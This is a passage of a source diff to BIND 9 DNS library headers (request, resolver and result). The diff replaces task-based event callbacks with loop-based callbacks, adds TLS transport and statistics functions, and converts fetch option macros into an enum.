- *\li	'address' is a valid sockaddr.
- *
- *\li	'timeout' > 0
- *
- *\li	'task' is a valid task.
- *
- *\li	requestp != NULL && *requestp == NULL
- */
-
-isc_result_t
-dns_request_createvia(dns_requestmgr_t *requestmgr, dns_message_t *message,
-		      const isc_sockaddr_t *srcaddr,
-		      const isc_sockaddr_t *destaddr, isc_dscp_t dscp,
-		      unsigned int options, dns_tsigkey_t *key,
-		      unsigned int timeout, unsigned int udptimeout,
-		      unsigned int udpretries, isc_task_t *task,
-		      isc_taskaction_t action, void *arg,
-		      dns_request_t **requestp);
 /*%<
  * Create and send a request.
  *
@@ -216,8 +133,11 @@ dns_request_createvia(dns_requestmgr_t *requestmgr, dns_message_t *message,
  *\li	If the #DNS_REQUESTOPT_CASE option is set, use case sensitive
  *	compression.
  *
+ *\li	If the #DNS_REQUESTOPT_LARGE option is set, use a large
+ *	compression context to accommodate more names.
+ *
  *\li	When the request completes, successfully, due to a timeout, or
- *	because it was canceled, a completion event will be sent to 'task'.
+ *	because it was canceled, a completion callback will run on 'loop'.
  *
  * Requires:
  *
@@ -231,7 +151,7 @@ dns_request_createvia(dns_requestmgr_t *requestmgr, dns_message_t *message,
  *
  *\li	'timeout' > 0
  *
- *\li	'task' is a valid task.
+ *\li	'loop' is a valid loop.
  *
  *\li	requestp != NULL && *requestp == NULL
  */
@@ -239,11 +159,12 @@ dns_request_createvia(dns_requestmgr_t *requestmgr, dns_message_t *message,
 isc_result_t
 dns_request_createraw(dns_requestmgr_t *requestmgr, isc_buffer_t *msgbuf,
 		      const isc_sockaddr_t *srcaddr,
-		      const isc_sockaddr_t *destaddr, isc_dscp_t dscp,
-		      unsigned int options, unsigned int timeout,
-		      unsigned int udptimeout, unsigned int udpretries,
-		      isc_task_t *task, isc_taskaction_t action, void *arg,
-		      dns_request_t **requestp);
+		      const isc_sockaddr_t *destaddr,
+		      dns_transport_t	   *transport,
+		      isc_tlsctx_cache_t *tlsctx_cache, unsigned int options,
+		      unsigned int timeout, unsigned int udptimeout,
+		      unsigned int udpretries, isc_loop_t *loop, isc_job_cb cb,
+		      void *arg, dns_request_t **requestp);
 /*!<
  * \brief Create and send a request.
  *
@@ -257,7 +178,7 @@ dns_request_createraw(dns_requestmgr_t *requestmgr, isc_buffer_t *msgbuf,
  *	at 'udptimeout' intervals if non-zero or if 'udpretries' is not zero.
  *
  *\li	When the request completes, successfully, due to a timeout, or
- *	because it was canceled, a completion event will be sent to 'task'.
+ *	because it was canceled, a completion callback will run in 'loop'.
  *
  * Requires:
  *
@@ -271,7 +192,7 @@ dns_request_createraw(dns_requestmgr_t *requestmgr, isc_buffer_t *msgbuf,
  *
  *\li	'timeout' > 0
  *
- *\li	'task' is a valid task.
+ *\li	'loop' is a valid loop.
  *
  *\li	requestp != NULL && *requestp == NULL
  */
@@ -358,6 +279,31 @@ dns_request_destroy(dns_request_t **requestp);
  *\li	*requestp == NULL
  */
 
-ISC_LANG_ENDDECLS
+void *
+dns_request_getarg(dns_request_t *request);
+/*%<
+ * Return the value of 'arg' that was passed in when 'request' was
+ * created.
+ */
 
-#endif /* DNS_REQUEST_H */
+isc_result_t
+dns_request_getresult(dns_request_t *request);
+/*%<
+ * Get the result code of 'request'. (This is to be called by the
+ * completion handler.)
+ */
+
+#if DNS_REQUEST_TRACE
+#define dns_request_ref(ptr) dns_request__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_request_unref(ptr) \
+	dns_request__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_request_attach(ptr, ptrp) \
+	dns_request__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_request_detach(ptrp) \
+	dns_request__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_request);
+#else
+ISC_REFCOUNT_DECL(dns_request);
+#endif
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/resolver.h b/lib/dns/include/dns/resolver.h
index 07b94fdcd1..0c6af9c816 100644
--- a/lib/dns/include/dns/resolver.h
+++ b/lib/dns/include/dns/resolver.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RESOLVER_H
-#define DNS_RESOLVER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -45,40 +46,56 @@
  */
 
 #include <inttypes.h>
+#include <netinet/in.h>
 #include <stdbool.h>
 
 #include <isc/lang.h>
-#include <isc/socket.h>
+#include <isc/loop.h>
+#include <isc/refcount.h>
 #include <isc/stats.h>
+#include <isc/tls.h>
+#include <isc/types.h>
 
 #include <dns/fixedname.h>
 #include <dns/types.h>
 
+#undef DNS_RESOLVER_TRACE
+
 ISC_LANG_BEGINDECLS
 
 /*%
- * A dns_fetchevent_t is sent when a 'fetch' completes.  Any of 'db',
- * 'node', 'rdataset', and 'sigrdataset' may be bound.  It is the
- * receiver's responsibility to detach before freeing the event.
+ * A dns_fetchresponse_t is sent to the caller when a fetch completes.
+ * Any of 'db', 'node', 'rdataset', and 'sigrdataset' may be bound; it
+ * is the receiver's responsibility to detach them, and also free the
+ * structure.
+ *
  * \brief
  * 'rdataset', 'sigrdataset', 'client' and 'id' are the values that were
  * supplied when dns_resolver_createfetch() was called.  They are returned
  *  to the caller so that they may be freed.
  */
-typedef struct dns_fetchevent {
-	ISC_EVENT_COMMON(struct dns_fetchevent);
-	dns_fetch_t *	      fetch;
+typedef struct dns_fetchresponse dns_fetchresponse_t;
+
+struct dns_fetchresponse {
+	dns_fetch_t	     *fetch;
+	isc_mem_t	     *mctx;
 	isc_result_t	      result;
+	isc_result_t	      vresult;
 	dns_rdatatype_t	      qtype;
-	dns_db_t *	      db;
-	dns_dbnode_t *	      node;
-	dns_rdataset_t *      rdataset;
-	dns_rdataset_t *      sigrdataset;
-	dns_fixedname_t	      foundname;
+	dns_db_t	     *db;
+	dns_dbnode_t	     *node;
+	dns_rdataset_t	     *rdataset;
+	dns_rdataset_t	     *sigrdataset;
+	dns_fixedname_t	      fname;
+	dns_name_t	     *foundname;
 	const isc_sockaddr_t *client;
 	dns_messageid_t	      id;
-	isc_result_t	      vresult;
-} dns_fetchevent_t;
+	isc_loop_t	     *loop;
+	isc_job_cb	      cb;
+	void		     *arg;
+	enum { FETCHDONE, TRYSTALE } type;
+	ISC_LINK(dns_fetchresponse_t) link;
+};
 
 /*%
  * The two quota types (fetches-per-zone and fetches-per-server)
@@ -88,51 +105,38 @@ typedef enum { dns_quotatype_zone = 0, dns_quotatype_server } dns_quotatype_t;
 /*
  * Options that modify how a 'fetch' is done.
  */
-#define DNS_FETCHOPT_TCP	 0x00000001 /*%< Use TCP. */
-#define DNS_FETCHOPT_UNSHARED	 0x00000002 /*%< See below. */
-#define DNS_FETCHOPT_RECURSIVE	 0x00000004 /*%< Set RD? */
-#define DNS_FETCHOPT_NOEDNS0	 0x00000008 /*%< Do not use EDNS. */
-#define DNS_FETCHOPT_FORWARDONLY 0x00000010 /*%< Only use forwarders. */
-#define DNS_FETCHOPT_NOVALIDATE	 0x00000020 /*%< Disable validation. */
-#define DNS_FETCHOPT_OBSOLETE1	 0x00000040 /*%< Obsolete */
-#define DNS_FETCHOPT_WANTNSID	 0x00000080 /*%< Request NSID */
-#define DNS_FETCHOPT_PREFETCH	 0x00000100 /*%< Do prefetch */
-#define DNS_FETCHOPT_NOCDFLAG	 0x00000200 /*%< Don't set CD flag. */
-#define DNS_FETCHOPT_NONTA	 0x00000400 /*%< Ignore NTA table. */
-/* RESERVED ECS				0x00000000 */
-/* RESERVED ECS				0x00001000 */
-/* RESERVED ECS				0x00002000 */
-/* RESERVED TCPCLIENT			0x00004000 */
-#define DNS_FETCHOPT_NOCACHED 0x00008000 /*%< Force cache update. */
-#define DNS_FETCHOPT_QMINIMIZE    \
-	0x00010000 /*%< Use qname \
-		    *    minimization. */
-#define DNS_FETCHOPT_NOFOLLOW        \
-	0x00020000 /*%< Don't follow \
-		    *   delegations */
-#define DNS_FETCHOPT_QMIN_STRICT            \
-	0x00040000 /*%< Do not work around  \
-		    *   servers that return \
-		    *   errors on non-empty \
-		    *   terminals. */
-#define DNS_FETCHOPT_QMIN_USE_A            \
-	0x00080000 /*%< Use A type queries \
-		    *   instead of NS when \
-		    *   doing minimization */
-#define DNS_FETCHOPT_QMIN_SKIP_IP6A      \
-	0x00100000 /*%< Skip some labels \
-		    *   when doing qname \
-		    *   minimization on  \
-		    *   ip6.arpa. */
-#define DNS_FETCHOPT_NOFORWARD                \
-	0x00200000 /*%< Do not use forwarders \
-		    *   if possible. */
-
-/* Reserved in use by adb.c		0x00400000 */
-#define DNS_FETCHOPT_EDNSVERSIONSET	0x00800000
-#define DNS_FETCHOPT_EDNSVERSIONMASK	0xff000000
-#define DNS_FETCHOPT_EDNSVERSIONSHIFT	24
-#define DNS_FETCHOPT_TRYSTALE_ONTIMEOUT 0x01000000
+enum {
+	DNS_FETCHOPT_TCP = 1 << 0,	       /*%< Use TCP. */
+	DNS_FETCHOPT_UNSHARED = 1 << 1,	       /*%< See below. */
+	DNS_FETCHOPT_RECURSIVE = 1 << 2,       /*%< Set RD? */
+	DNS_FETCHOPT_NOEDNS0 = 1 << 3,	       /*%< Do not use EDNS. */
+	DNS_FETCHOPT_FORWARDONLY = 1 << 4,     /*%< Only use forwarders. */
+	DNS_FETCHOPT_NOVALIDATE = 1 << 5,      /*%< Disable validation. */
+	DNS_FETCHOPT_WANTNSID = 1 << 6,	       /*%< Request NSID */
+	DNS_FETCHOPT_PREFETCH = 1 << 7,	       /*%< Do prefetch */
+	DNS_FETCHOPT_NOCDFLAG = 1 << 8,	       /*%< Don't set CD flag. */
+	DNS_FETCHOPT_NONTA = 1 << 9,	       /*%< Ignore NTA table. */
+	DNS_FETCHOPT_NOCACHED = 1 << 10,       /*%< Force cache update. */
+	DNS_FETCHOPT_QMINIMIZE = 1 << 11,      /*%< Use qname minimization. */
+	DNS_FETCHOPT_NOFOLLOW = 1 << 12,       /*%< Don't retrieve the NS RRset
+						* from the child zone when a
+						* delegation is returned in
+						* response to a NS query. */
+	DNS_FETCHOPT_QMIN_STRICT = 1 << 13,    /*%< Do not work around servers
+						* that return errors on
+						* non-empty terminals. */
+	DNS_FETCHOPT_QMIN_SKIP_IP6A = 1 << 14, /*%< Skip some labels when
+						* doing qname minimization
+						* on ip6.arpa. */
+	DNS_FETCHOPT_NOFORWARD = 1 << 15,      /*%< Do not use forwarders if
+						* possible. */
+	DNS_FETCHOPT_TRYSTALE_ONTIMEOUT = 1 << 16,
+
+	/*% EDNS version bits: */
+	DNS_FETCHOPT_EDNSVERSIONSET = 1 << 23,
+	DNS_FETCHOPT_EDNSVERSIONSHIFT = 24,
+	DNS_FETCHOPT_EDNSVERSIONMASK = 0xff000000,
+};
 
 /*
  * Upper bounds of class of query RTT (ms).  Corresponds to
@@ -159,13 +163,11 @@ typedef enum { dns_quotatype_zone = 0, dns_quotatype_server } dns_quotatype_t;
 
 #define DNS_QMIN_MAXLABELS	   7
 #define DNS_QMIN_MAX_NO_DELEGATION 3
-#define DNS_MAX_LABELS		   127
 
 isc_result_t
-dns_resolver_create(dns_view_t *view, isc_taskmgr_t *taskmgr,
-		    unsigned int ntasks, unsigned int ndisp,
-		    isc_socketmgr_t *socketmgr, isc_timermgr_t *timermgr,
-		    unsigned int options, dns_dispatchmgr_t *dispatchmgr,
+dns_resolver_create(dns_view_t *view, isc_loopmgr_t *loopmgr,
+		    unsigned int ndisp, isc_nm_t *nm, unsigned int options,
+		    isc_tlsctx_cache_t *tlsctx_cache,
 		    dns_dispatch_t *dispatchv4, dns_dispatch_t *dispatchv6,
 		    dns_resolver_t **resp);
 
@@ -181,13 +183,11 @@ dns_resolver_create(dns_view_t *view, isc_taskmgr_t *taskmgr,
  *
  *\li	'view' is a valid view.
  *
- *\li	'taskmgr' is a valid task manager.
+ *\li	'ndisp' > 0.
  *
- *\li	'ntasks' > 0.
+ *\li	'nm' is a valid network manager.
  *
- *\li	'socketmgr' is a valid socket manager.
- *
- *\li	'timermgr' is a valid timer manager.
+ *\li	'tlsctx_cache' != NULL.
  *
  *\li	'dispatchv4' is a dispatch with an IPv4 UDP socket, or is NULL.
  *	If not NULL, 'ndisp' clones of it will be created by the resolver.
@@ -240,30 +240,6 @@ dns_resolver_prime(dns_resolver_t *res);
  *\li	'res' is a valid, frozen resolver.
  */
 
-void
-dns_resolver_whenshutdown(dns_resolver_t *res, isc_task_t *task,
-			  isc_event_t **eventp);
-/*%<
- * Send '*eventp' to 'task' when 'res' has completed shutdown.
- *
- * Notes:
- *
- *\li	It is not safe to detach the last reference to 'res' until
- *	shutdown is complete.
- *
- * Requires:
- *
- *\li	'res' is a valid resolver.
- *
- *\li	'task' is a valid task.
- *
- *\li	*eventp is a valid event.
- *
- * Ensures:
- *
- *\li	*eventp == NULL.
- */
-
 void
 dns_resolver_shutdown(dns_resolver_t *res);
 /*%<
@@ -278,23 +254,30 @@ dns_resolver_shutdown(dns_resolver_t *res);
  *\li	'res' is a valid resolver.
  */
 
-void
-dns_resolver_attach(dns_resolver_t *source, dns_resolver_t **targetp);
-
-void
-dns_resolver_detach(dns_resolver_t **resp);
+#if DNS_RESOLVER_TRACE
+#define dns_resolver_ref(ptr) \
+	dns_resolver__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_resolver_unref(ptr) \
+	dns_resolver__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_resolver_attach(ptr, ptrp) \
+	dns_resolver__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_resolver_detach(ptrp) \
+	dns_resolver__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_resolver);
+#else
+ISC_REFCOUNT_DECL(dns_resolver);
+#endif
 
 isc_result_t
 dns_resolver_createfetch(dns_resolver_t *res, const dns_name_t *name,
 			 dns_rdatatype_t type, const dns_name_t *domain,
-			 dns_rdataset_t *      nameservers,
-			 dns_forwarders_t *    forwarders,
+			 dns_rdataset_t	      *nameservers,
+			 dns_forwarders_t     *forwarders,
 			 const isc_sockaddr_t *client, dns_messageid_t id,
 			 unsigned int options, unsigned int depth,
-			 isc_counter_t *qc, isc_task_t *task,
-			 isc_taskaction_t action, void *arg,
-			 dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
-			 dns_fetch_t **fetchp);
+			 isc_counter_t *qc, isc_loop_t *loop, isc_job_cb cb,
+			 void *arg, dns_rdataset_t *rdataset,
+			 dns_rdataset_t *sigrdataset, dns_fetch_t **fetchp);
 /*%<
  * Recurse to answer a question.
  *
@@ -311,8 +294,8 @@ dns_resolver_createfetch(dns_resolver_t *res, const dns_name_t *name,
  *	we figure out how selective forwarding will work.
  *
  *\li	When the fetch completes (successfully or otherwise), a
- *	#DNS_EVENT_FETCHDONE event with action 'action' and arg 'arg' will be
- *	posted to 'task'.
+ *	dns_fetchresponse_t option is sent to callback 'cb' with
+ *	'type' set to FETCHDONE.
  *
  *\li	The values of 'rdataset' and 'sigrdataset' will be returned in
  *	the FETCHDONE event.
@@ -404,21 +387,12 @@ dns_resolver_logfetch(dns_fetch_t *fetch, isc_log_t *lctx,
  *\li	'fetch' is a valid fetch, and has completed.
  */
 
-dns_dispatchmgr_t *
-dns_resolver_dispatchmgr(dns_resolver_t *resolver);
-
 dns_dispatch_t *
 dns_resolver_dispatchv4(dns_resolver_t *resolver);
 
 dns_dispatch_t *
 dns_resolver_dispatchv6(dns_resolver_t *resolver);
 
-isc_socketmgr_t *
-dns_resolver_socketmgr(dns_resolver_t *resolver);
-
-isc_taskmgr_t *
-dns_resolver_taskmgr(dns_resolver_t *resolver);
-
 uint32_t
 dns_resolver_getlamettl(dns_resolver_t *resolver);
 /*%<
@@ -437,7 +411,7 @@ dns_resolver_setlamettl(dns_resolver_t *resolver, uint32_t lame_ttl);
  *\li	'resolver' to be valid.
  */
 
-isc_result_t
+void
 dns_resolver_addalternate(dns_resolver_t *resolver, const isc_sockaddr_t *alt,
 			  const dns_name_t *name, in_port_t port);
 /*%<
@@ -449,30 +423,6 @@ dns_resolver_addalternate(dns_resolver_t *resolver, const isc_sockaddr_t *alt,
  * \li	only one of 'name' or 'alt' to be valid.
  */
 
-void
-dns_resolver_setudpsize(dns_resolver_t *resolver, uint16_t udpsize);
-/*%<
- * Set the EDNS UDP buffer size advertised by the server.
- */
-
-uint16_t
-dns_resolver_getudpsize(dns_resolver_t *resolver);
-/*%<
- * Get the current EDNS UDP buffer size.
- */
-
-void
-dns_resolver_reset_algorithms(dns_resolver_t *resolver);
-/*%<
- * Clear the disabled DNSSEC algorithms.
- */
-
-void
-dns_resolver_reset_ds_digests(dns_resolver_t *resolver);
-/*%<
- * Clear the disabled DS digest types.
- */
-
 isc_result_t
 dns_resolver_disable_algorithm(dns_resolver_t *resolver, const dns_name_t *name,
 			       unsigned int alg);
@@ -500,7 +450,7 @@ dns_resolver_disable_ds_digest(dns_resolver_t *resolver, const dns_name_t *name,
  */
 
 bool
-dns_resolver_algorithm_supported(dns_resolver_t *  resolver,
+dns_resolver_algorithm_supported(dns_resolver_t	  *resolver,
 				 const dns_name_t *name, unsigned int alg);
 /*%<
  * Check if the given algorithm is supported by this resolver.
@@ -510,7 +460,7 @@ dns_resolver_algorithm_supported(dns_resolver_t *  resolver,
  */
 
 bool
-dns_resolver_ds_digest_supported(dns_resolver_t *  resolver,
+dns_resolver_ds_digest_supported(dns_resolver_t	  *resolver,
 				 const dns_name_t *name,
 				 unsigned int	   digest_type);
 /*%<
@@ -520,9 +470,6 @@ dns_resolver_ds_digest_supported(dns_resolver_t *  resolver,
  * crypto libraries if it was not specifically disabled.
  */
 
-void
-dns_resolver_resetmustbesecure(dns_resolver_t *resolver);
-
 isc_result_t
 dns_resolver_setmustbesecure(dns_resolver_t *resolver, const dns_name_t *name,
 			     bool value);
@@ -560,6 +507,9 @@ dns_resolver_setclientsperquery(dns_resolver_t *resolver, uint32_t min,
 void
 dns_resolver_setfetchesperzone(dns_resolver_t *resolver, uint32_t clients);
 
+uint32_t
+dns_resolver_getfetchesperzone(dns_resolver_t *resolver);
+
 void
 dns_resolver_getclientsperquery(dns_resolver_t *resolver, uint32_t *cur,
 				uint32_t *min, uint32_t *max);
@@ -623,7 +573,7 @@ dns_resolver_addbadcache(dns_resolver_t *resolver, const dns_name_t *name,
  * \li	name to be valid.
  */
 
-bool
+isc_result_t
 dns_resolver_getbadcache(dns_resolver_t *resolver, const dns_name_t *name,
 			 dns_rdatatype_t type, isc_time_t *now);
 /*%<
@@ -664,23 +614,6 @@ dns_resolver_printbadcache(dns_resolver_t *resolver, FILE *fp);
  * \li	resolver to be valid.
  */
 
-void
-dns_resolver_setquerydscp4(dns_resolver_t *resolver, isc_dscp_t dscp);
-isc_dscp_t
-dns_resolver_getquerydscp4(dns_resolver_t *resolver);
-
-void
-dns_resolver_setquerydscp6(dns_resolver_t *resolver, isc_dscp_t dscp);
-isc_dscp_t
-dns_resolver_getquerydscp6(dns_resolver_t *resolver);
-/*%
- * Get and set the DSCP values for the resolver's IPv4 and IPV6 query
- * sources.
- *
- * Requires:
- * \li	resolver to be valid.
- */
-
 void
 dns_resolver_setmaxdepth(dns_resolver_t *resolver, unsigned int maxdepth);
 unsigned int
@@ -729,6 +662,8 @@ dns_resolver_getquotaresponse(dns_resolver_t *resolver, dns_quotatype_t which);
 void
 dns_resolver_dumpfetches(dns_resolver_t *resolver, isc_statsformat_t format,
 			 FILE *fp);
+isc_result_t
+dns_resolver_dumpquota(dns_resolver_t *res, isc_buffer_t **buf);
 
 #ifdef ENABLE_AFL
 /*%
@@ -738,6 +673,64 @@ void
 dns_resolver_setfuzzing(void);
 #endif /* ifdef ENABLE_AFL */
 
-ISC_LANG_ENDDECLS
+void
+dns_resolver_setstats(dns_resolver_t *res, isc_stats_t *stats);
+/*%<
+ * Set a general resolver statistics counter set 'stats' for 'res'.
+ *
+ * Requires:
+ * \li	'res' is valid.
+ *
+ *\li	stats is a valid statistics supporting resolver statistics counters
+ *	(see dns/stats.h).
+ */
+
+void
+dns_resolver_getstats(dns_resolver_t *res, isc_stats_t **statsp);
+/*%<
+ * Get the general statistics counter set for 'res'.  If a statistics set is
+ * set '*statsp' will be attached to the set; otherwise, '*statsp' will be
+ * untouched.
+ *
+ * Requires:
+ * \li	'res' is valid.
+ *
+ *\li	'statsp' != NULL && '*statsp' != NULL
+ */
+
+void
+dns_resolver_incstats(dns_resolver_t *res, isc_statscounter_t counter);
+/*%<
+ * Increment the specified statistics counter in res->stats, if res->stats
+ * is set.
+ *
+ * Requires:
+ * \li	'res' is valid.
+ */
+
+void
+dns_resolver_setquerystats(dns_resolver_t *res, dns_stats_t *stats);
+/*%<
+ * Set a statistics counter set of rdata type, 'stats', for 'res'.  Once the
+ * statistic set is installed, the resolver will count outgoing queries
+ * per rdata type.
+ *
+ * Requires:
+ * \li	'res' is valid.
+ *
+ *\li	stats is a valid statistics created by dns_rdatatypestats_create().
+ */
 
-#endif /* DNS_RESOLVER_H */
+void
+dns_resolver_getquerystats(dns_resolver_t *res, dns_stats_t **statsp);
+/*%<
+ * Get the rdatatype statistics counter set for 'res'.  If a statistics set is
+ * set '*statsp' will be attached to the set; otherwise, '*statsp' will be
+ * untouched.
+ *
+ * Requires:
+ * \li	'res' is valid.
+ *
+ *\li	'statsp' != NULL && '*statsp' != NULL
+ */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/result.h b/lib/dns/include/dns/result.h
index 58e7426b3f..6ab7e51a49 100644
--- a/lib/dns/include/dns/result.h
+++ b/lib/dns/include/dns/result.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,201 +11,21 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RESULT_H
-#define DNS_RESULT_H 1
+#pragma once
 
 /*! \file dns/result.h */
 
 #include <isc/lang.h>
-#include <isc/resultclass.h>
+#include <isc/result.h>
 
 #include <dns/types.h>
 
-/*
- * Nothing in this file truly depends on <isc/result.h>, but the
- * DNS result codes are considered to be publicly derived from
- * the ISC result codes, so including this file buys you the ISC_R_
- * namespace too.
- */
-#include <isc/result.h> /* Contractual promise. */
-
-/*
- * DNS library result codes
- */
-#define DNS_R_LABELTOOLONG (ISC_RESULTCLASS_DNS + 0)
-#define DNS_R_BADESCAPE	   (ISC_RESULTCLASS_DNS + 1)
-/*
- * Since we dropped the support of bitstring labels, deprecate the related
- * result codes too.
- *
- #define DNS_R_BADBITSTRING		(ISC_RESULTCLASS_DNS + 2)
- #define DNS_R_BITSTRINGTOOLONG		(ISC_RESULTCLASS_DNS + 3)
- */
-#define DNS_R_EMPTYLABEL	(ISC_RESULTCLASS_DNS + 4)
-#define DNS_R_BADDOTTEDQUAD	(ISC_RESULTCLASS_DNS + 5)
-#define DNS_R_INVALIDNS		(ISC_RESULTCLASS_DNS + 6)
-#define DNS_R_UNKNOWN		(ISC_RESULTCLASS_DNS + 7)
-#define DNS_R_BADLABELTYPE	(ISC_RESULTCLASS_DNS + 8)
-#define DNS_R_BADPOINTER	(ISC_RESULTCLASS_DNS + 9)
-#define DNS_R_TOOMANYHOPS	(ISC_RESULTCLASS_DNS + 10)
-#define DNS_R_DISALLOWED	(ISC_RESULTCLASS_DNS + 11)
-#define DNS_R_EXTRATOKEN	(ISC_RESULTCLASS_DNS + 12)
-#define DNS_R_EXTRADATA		(ISC_RESULTCLASS_DNS + 13)
-#define DNS_R_TEXTTOOLONG	(ISC_RESULTCLASS_DNS + 14)
-#define DNS_R_NOTZONETOP	(ISC_RESULTCLASS_DNS + 15)
-#define DNS_R_SYNTAX		(ISC_RESULTCLASS_DNS + 16)
-#define DNS_R_BADCKSUM		(ISC_RESULTCLASS_DNS + 17)
-#define DNS_R_BADAAAA		(ISC_RESULTCLASS_DNS + 18)
-#define DNS_R_NOOWNER		(ISC_RESULTCLASS_DNS + 19)
-#define DNS_R_NOTTL		(ISC_RESULTCLASS_DNS + 20)
-#define DNS_R_BADCLASS		(ISC_RESULTCLASS_DNS + 21)
-#define DNS_R_NAMETOOLONG	(ISC_RESULTCLASS_DNS + 22)
-#define DNS_R_PARTIALMATCH	(ISC_RESULTCLASS_DNS + 23)
-#define DNS_R_NEWORIGIN		(ISC_RESULTCLASS_DNS + 24)
-#define DNS_R_UNCHANGED		(ISC_RESULTCLASS_DNS + 25)
-#define DNS_R_BADTTL		(ISC_RESULTCLASS_DNS + 26)
-#define DNS_R_NOREDATA		(ISC_RESULTCLASS_DNS + 27)
-#define DNS_R_CONTINUE		(ISC_RESULTCLASS_DNS + 28)
-#define DNS_R_DELEGATION	(ISC_RESULTCLASS_DNS + 29)
-#define DNS_R_GLUE		(ISC_RESULTCLASS_DNS + 30)
-#define DNS_R_DNAME		(ISC_RESULTCLASS_DNS + 31)
-#define DNS_R_CNAME		(ISC_RESULTCLASS_DNS + 32)
-#define DNS_R_BADDB		(ISC_RESULTCLASS_DNS + 33)
-#define DNS_R_ZONECUT		(ISC_RESULTCLASS_DNS + 34)
-#define DNS_R_BADZONE		(ISC_RESULTCLASS_DNS + 35)
-#define DNS_R_MOREDATA		(ISC_RESULTCLASS_DNS + 36)
-#define DNS_R_UPTODATE		(ISC_RESULTCLASS_DNS + 37)
-#define DNS_R_TSIGVERIFYFAILURE (ISC_RESULTCLASS_DNS + 38)
-#define DNS_R_TSIGERRORSET	(ISC_RESULTCLASS_DNS + 39)
-#define DNS_R_SIGINVALID	(ISC_RESULTCLASS_DNS + 40)
-#define DNS_R_SIGEXPIRED	(ISC_RESULTCLASS_DNS + 41)
-#define DNS_R_SIGFUTURE		(ISC_RESULTCLASS_DNS + 42)
-#define DNS_R_KEYUNAUTHORIZED	(ISC_RESULTCLASS_DNS + 43)
-#define DNS_R_INVALIDTIME	(ISC_RESULTCLASS_DNS + 44)
-#define DNS_R_EXPECTEDTSIG	(ISC_RESULTCLASS_DNS + 45)
-#define DNS_R_UNEXPECTEDTSIG	(ISC_RESULTCLASS_DNS + 46)
-#define DNS_R_INVALIDTKEY	(ISC_RESULTCLASS_DNS + 47)
-#define DNS_R_HINT		(ISC_RESULTCLASS_DNS + 48)
-#define DNS_R_DROP		(ISC_RESULTCLASS_DNS + 49)
-#define DNS_R_NOTLOADED		(ISC_RESULTCLASS_DNS + 50)
-#define DNS_R_NCACHENXDOMAIN	(ISC_RESULTCLASS_DNS + 51)
-#define DNS_R_NCACHENXRRSET	(ISC_RESULTCLASS_DNS + 52)
-#define DNS_R_WAIT		(ISC_RESULTCLASS_DNS + 53)
-#define DNS_R_NOTVERIFIEDYET	(ISC_RESULTCLASS_DNS + 54)
-#define DNS_R_NOIDENTITY	(ISC_RESULTCLASS_DNS + 55)
-#define DNS_R_NOJOURNAL		(ISC_RESULTCLASS_DNS + 56)
-#define DNS_R_ALIAS		(ISC_RESULTCLASS_DNS + 57)
-#define DNS_R_USETCP		(ISC_RESULTCLASS_DNS + 58)
-#define DNS_R_NOVALIDSIG	(ISC_RESULTCLASS_DNS + 59)
-#define DNS_R_NOVALIDNSEC	(ISC_RESULTCLASS_DNS + 60)
-#define DNS_R_NOTINSECURE	(ISC_RESULTCLASS_DNS + 61)
-#define DNS_R_UNKNOWNSERVICE	(ISC_RESULTCLASS_DNS + 62)
-#define DNS_R_RECOVERABLE	(ISC_RESULTCLASS_DNS + 63)
-#define DNS_R_UNKNOWNOPT	(ISC_RESULTCLASS_DNS + 64)
-#define DNS_R_UNEXPECTEDID	(ISC_RESULTCLASS_DNS + 65)
-#define DNS_R_SEENINCLUDE	(ISC_RESULTCLASS_DNS + 66)
-#define DNS_R_NOTEXACT		(ISC_RESULTCLASS_DNS + 67)
-#define DNS_R_BLACKHOLED	(ISC_RESULTCLASS_DNS + 68)
-#define DNS_R_BADALG		(ISC_RESULTCLASS_DNS + 69)
-#define DNS_R_METATYPE		(ISC_RESULTCLASS_DNS + 70)
-#define DNS_R_CNAMEANDOTHER	(ISC_RESULTCLASS_DNS + 71)
-#define DNS_R_SINGLETON		(ISC_RESULTCLASS_DNS + 72)
-#define DNS_R_HINTNXRRSET	(ISC_RESULTCLASS_DNS + 73)
-#define DNS_R_NOMASTERFILE	(ISC_RESULTCLASS_DNS + 74)
-#define DNS_R_UNKNOWNPROTO	(ISC_RESULTCLASS_DNS + 75)
-#define DNS_R_CLOCKSKEW		(ISC_RESULTCLASS_DNS + 76)
-#define DNS_R_BADIXFR		(ISC_RESULTCLASS_DNS + 77)
-#define DNS_R_NOTAUTHORITATIVE	(ISC_RESULTCLASS_DNS + 78)
-#define DNS_R_NOVALIDKEY	(ISC_RESULTCLASS_DNS + 79)
-#define DNS_R_OBSOLETE		(ISC_RESULTCLASS_DNS + 80)
-#define DNS_R_FROZEN		(ISC_RESULTCLASS_DNS + 81)
-#define DNS_R_UNKNOWNFLAG	(ISC_RESULTCLASS_DNS + 82)
-#define DNS_R_EXPECTEDRESPONSE	(ISC_RESULTCLASS_DNS + 83)
-#define DNS_R_NOVALIDDS		(ISC_RESULTCLASS_DNS + 84)
-#define DNS_R_NSISADDRESS	(ISC_RESULTCLASS_DNS + 85)
